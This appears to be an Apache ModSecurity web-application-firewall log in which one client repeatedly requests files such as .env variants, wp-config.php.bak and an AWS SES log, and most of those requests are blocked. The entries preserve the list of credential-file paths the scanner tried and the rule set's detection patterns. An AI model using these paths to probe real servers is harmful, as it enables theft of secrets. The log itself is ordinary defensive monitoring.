[Wed Jul 23 13:39:16.374986 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIDJ5KI4lOREpDwv3HY7owAAAAI&quot;]
[Wed Jul 23 13:39:18.031189 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awsstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pgAAAAI&quot;]
[Wed Jul 23 13:39:18.031500 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pgAAAAI&quot;]
[Wed Jul 23 13:39:18.031686 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pgAAAAI&quot;]
[Wed Jul 23 13:39:18.051750 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pwAAAAI&quot;]
[Wed Jul 23 13:39:18.051904 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pwAAAAI&quot;]
[Wed Jul 23 13:39:18.052105 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pwAAAAI&quot;]
[Wed Jul 23 13:39:18.052261 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7pwAAAAI&quot;]
[Wed Jul 23 13:39:18.074697 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7qAAAAAI&quot;]
[Wed Jul 23 13:39:18.074924 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7qAAAAAI&quot;]
[Wed Jul 23 13:39:18.075095 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIDJ5qI4lOREpDwv3HY7qAAAAAI&quot;]
[Wed Jul 23 13:39:19.528459 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7qwAAAAI&quot;]
[Wed Jul 23 13:39:19.528712 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7qwAAAAI&quot;]
[Wed Jul 23 13:39:19.528910 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7qwAAAAI&quot;]
[Wed Jul 23 13:39:19.571841 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7rQAAAAI&quot;]
[Wed Jul 23 13:39:19.572185 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7rQAAAAI&quot;]
[Wed Jul 23 13:39:19.572361 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7rQAAAAI&quot;]
[Wed Jul 23 13:39:19.593050 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7rgAAAAI&quot;]
[Wed Jul 23 13:39:19.593283 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7rgAAAAI&quot;]
[Wed Jul 23 13:39:19.593460 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7rgAAAAI&quot;]
[Wed Jul 23 13:39:19.659426 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7sQAAAAI&quot;]
[Wed Jul 23 13:39:19.659643 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7sQAAAAI&quot;]
[Wed Jul 23 13:39:19.659805 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7sQAAAAI&quot;]
[Wed Jul 23 13:39:19.680914 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7sgAAAAI&quot;]
[Wed Jul 23 13:39:19.681245 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7sgAAAAI&quot;]
[Wed Jul 23 13:39:19.681469 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7sgAAAAI&quot;]
[Wed Jul 23 13:39:19.707929 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7swAAAAI&quot;]
[Wed Jul 23 13:39:19.708216 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7swAAAAI&quot;]
[Wed Jul 23 13:39:19.708410 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7swAAAAI&quot;]
[Wed Jul 23 13:39:19.729391 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tAAAAAI&quot;]
[Wed Jul 23 13:39:19.729666 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tAAAAAI&quot;]
[Wed Jul 23 13:39:19.729861 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tAAAAAI&quot;]
